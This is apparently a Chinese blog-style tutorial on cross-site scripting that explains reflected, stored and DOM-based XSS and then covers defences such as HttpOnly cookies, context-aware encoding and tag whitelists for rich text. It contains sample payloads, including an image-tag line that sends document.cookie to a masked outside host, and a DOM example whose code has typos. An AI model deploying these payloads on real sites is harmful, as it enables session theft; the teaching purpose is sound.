XSS攻擊:跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。
XSS攻擊分爲幾種:
1.反射型XSS
反射型XSS只是簡單地把用戶輸入的數據“反射”給瀏覽器。黑客往往需要誘使用戶“點擊”一個惡意鏈接,才能攻擊成功。
例如:http://localhost:8080/prjWebSec/xss/reflectedXSS.jsp?param=value';alert('x')。當param參數被用於頁面的顯示時,容易形成XSS攻擊。
2.存儲型XSS
存儲型XSS會把用戶的輸入的數據存儲在服務器端,這種XSS具有很強的穩定性。存儲型XSS,當黑客把可執行的腳本存儲到服務器,當別人去瀏覽此腳本的頁面時,形成XSS攻擊。
3.DOM Based XSS
通過修改頁面的DOM節點形成XSS,這個是通過JavaScript改變DOM元素,達到XSS攻擊。
用以完成各種具體功能的惡意腳本,叫做 XSS Payload,實際上就是javascript腳本。
XSS Payload的一個攻擊,就是Cookie劫持。因爲Cookie一般加密保存了當前用戶的登陸憑證。如果攻擊者獲得Cookie,則可以直接跳過此登陸憑證進入用戶的賬戶。
例如,黑客加載一個img,image的src設置爲一個請求的地址,“http://www.***.com/log?”+escape(document.cookie)。當用戶加載此圖片時,就會自動的把cookie發送到黑客的地址。這樣黑客就可以使用獲取cookie去登陸了。
還有,黑客可以在img的src中,構造刪除等GET, Post請求,去進行破壞。只要把Javascript注入到頁面中,讓用戶去執行就能形成攻擊。
XSS的防禦
- HttpOnly,在大多數瀏覽器已經支持HttpOnly這個屬性,就是當cookie有這個標記時,只能通過Http請求能獲取這個cookie,這樣就可以防止黑客寫的js去讀取cookie。那還有什麼方法能獲取到cookie呢?當然用戶自己可以查看瀏覽器看到,但自己肯定不會做攻擊自己的事情。
- XSS的本質是Html注入,是瀏覽器把用戶輸入的數據當成HTML代碼的一部分來執行導致的。所以還可以進行輸入檢查,輸出檢查等手段去阻止XSS。
輸入檢查:對於用戶輸入的<script>等敏感字符,報錯等方式。
輸出檢查:當變量輸出到HTML頁面時,可以使用編碼或轉義的方式來防禦XSS攻擊。
1.對在HTML代碼中輸出的變量進行HtmlEncode,把字符轉換成HTMLEntities。當在瀏覽器渲染時,被編碼的字符會被反編碼顯示在瀏覽器上,而不會認爲它是可執行的腳本。
2.在<script>標籤中輸出的變量進行JavascriptEncode。
3.在HTML事件中輸出的變量,對其進行JavascriptEncode。
4.在地址中輸出的變量,對其進行URLEncode。
處理富文本
有些時候,網站需要用戶提交一些自定義的HTML代碼,稱之爲“富文本”。那如何區分安全的富文本和XSS攻擊呢?
我們還是得回到輸入檢查的思路上來。應該不允許事件這種動態效果,<iframe>,<script>,<base>,<form>等危險的標籤。在標籤的選擇上,使用白名單,避免使用黑名單。只允許<a>,<img>,<div>等比較安全的標籤。
DOM Based XSS
這是一種比較特殊的XSS攻擊。例如:
<scirpt>
x = "" onclick=alert(1)"; x的輸入
</scirpt>
<scirpt>
var x="$var",
document.write("<a herf='"+x+"'>test</a>")
</script>
當我們把js中的變量進行JavascriptEncode後,當執行此js時,html中仍舊會形成XSS攻擊。
因爲,當js運行時,瀏覽器已經對js解碼,然後就形成了XSS攻擊。
所以當js輸出到html,需要進行一次HtmlEncode,當輸出到腳本,需要進行JavascriptEncode。也就是說,從javascript輸出到html頁面,也是一次Xss輸出過程,需要分語境使用不同的編碼函數。
以上是我對XSS的個人見解,如果有什麼理解錯誤的,請大家包涵指正。